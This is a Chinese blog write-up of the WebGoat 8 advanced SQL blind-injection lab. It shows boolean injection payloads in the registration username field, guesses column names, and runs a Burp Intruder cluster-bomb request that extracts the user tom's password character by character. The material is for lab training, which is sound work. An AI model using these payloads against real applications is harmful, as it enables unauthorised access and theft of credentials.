WebGoat8 M17 SQL(Advanced)盲注题 BurpSuite爆破解法

本页内容需要用到 Burp Suite 。

 

找注入点

 

拿到题目可以看到,WebGoat给的是一个登录界面,用Login和Register两个页面。

 

首先尝试在Login页面注入,在Username和Password处都使用注入语句,返回结果都是:

No results matched. Try Again.

 

没有有效的信息返回,Login页面里的输入点似乎不能作为注入点,转向Register页面

 

 

 

题目要求的是以Tom登录,尝试注册用户名Tom,邮箱和密码随便填(邮箱要[email protected]的格式),返回:

User Tom created, please proceed to the login page.

发现用户不存在,可以注册。

 

再尝试tom,显示用户已存在。

User tom already exists please try to register with a different username.

所以本题要登录的账号实际上是用户名为tom的账号

 

这时我们可以注意到,用户存在和不存在时,系统返回的信息是不一样的,因此尝试一下是否能进行布尔盲注

 

 

 

用户名处填

tom' or '1'='1

邮箱和密码依然随意,返回:

User tom' or '1'='1 already exists please try to register with a different username.

由于用户tom已存在,'1'='1',因此返回值为真,符合预期

 

用户名处填

tom' and '1'='1

依然返回值为真:

User tom' and '1'='1 already exists please try to register with a different username.

 

用户名处填tom' and '1'='2

整个SQL语句应为

select userid from user where userid = 'tom' and '1'='2'

这时由于'1'='2' 为false,因此这个表达式的的返回值应该为假。

得到的返回消息是:

User tom' and '1'='2 created, please proceed to the login page.

符合预期,说明这里是可以采用布尔盲注的

 

然后我们需要找出密码在数据库中的列名是什么,在后面的过程中会用到。

 

 

 

找密码列名

 

找密码列名这个事其实需要一些运气,下面这个方法更准确地说是在猜列名

 

在Register的用户名处填

tom' or password='123

返回:

User tom' or password='123 already exists please try to register with a different username.

服务器正常返回了响应,说明服务器没有报错,password这个列名是正确的。(当然,密码并不是123。)

 

如果将上面的password改成password1或者其他在数据库中不存在的列名,点击注册,会发现页面没有反应,这时其实是服务器端报错了。

 

找到列名后有两个思路:暴力破解tom的密码,或者直接改掉密码。后者还需要知道数据库名

 

 

思路1:暴力破解密码

 

首先我们要知道密码有几位,这里使用length()函数。

 

在注册页面的用户名里填:

tom' and (length(password)>10) --

返回

User tom' and (length(password)>10) -- already exists please try to register with a different username.

说明(length(password)>10为真,密码长度大于10位

 

修改数字反复尝试,直到响应变成created那句,最后得到密码位数为23

也可以不用手工,用Burp Suite自动进行,方法类似后面爆破密码

 

 

 

用Burp Suite爆破密码

 

先介绍substr()函数

substring()是字符串截取函数,第一个参数是你想要截取的字符串,第二个参数是截取字符串的起始位置,第三个参数是你想要截取字符串的位数。

例如substr(password,1,1)是截取password字符串的第一位

 

用Burp抓个包,抓的是点注册的时候发送过去的请求包,然后右键Send to Intruder,准备爆破:

 

 

在Intruder的position,先清掉所有变量,并修改username_reg的值,将substr()第二个参数和'='号后面的字符值添加变量:

 

username_reg=tom'+and+substr(password,§1§,1)='§2§'--&email_reg=a%40b.n&password_reg=1&confirm_password_reg=1

 

attack type选Cluster bomb

 

如图所示:

 

 

Payloads界面

第一个变量的字典数字从1到23

第二个变量的字典A到Z,a到z,以及密码中可输入的特殊符号。

 

点Start attack

 

等待一会,得到返回的结果,这里用长度排序,找出那些响应长度与众不同的:

可以看到,我上面的结果中,长度448和449的响应内容都是xx already exists,说明substr(password,§1§,1)='§2§',这个表达式的值为真。我们看Payload1和Payload2的输入,Payload1为第几位密码,Payload2为值,比如上面序号56的请求,即代表密码的第10位是c。

 

将23位密码的对应值都找出来,拼在一起就是密码了。

 

密码:thisisasecretfortomonly

 

思路2:找表名然后改密码

找表名的方法和爆破密码差不多,都是先抓包,设置变量和字典,然后爆破,之后用SQL语句改掉密码

下次再详细写

 

 

 

参考资料:

 

历史最全 WebGoat 8.0 通关攻略

https://www.freebuf.com/column/221947.html

 

WebGoat SQL盲注 解题思路

https://blog.csdn.net/u013553529/article/details/82794814

 

sql盲注的一些小心得

https://blog.csdn.net/weixiaodegulang/article/details/85376219

发布了6 篇原创文章 · 获赞 9 · 访问量 277

猜你喜欢

转载自blog.csdn.net/XenonL/article/details/104185621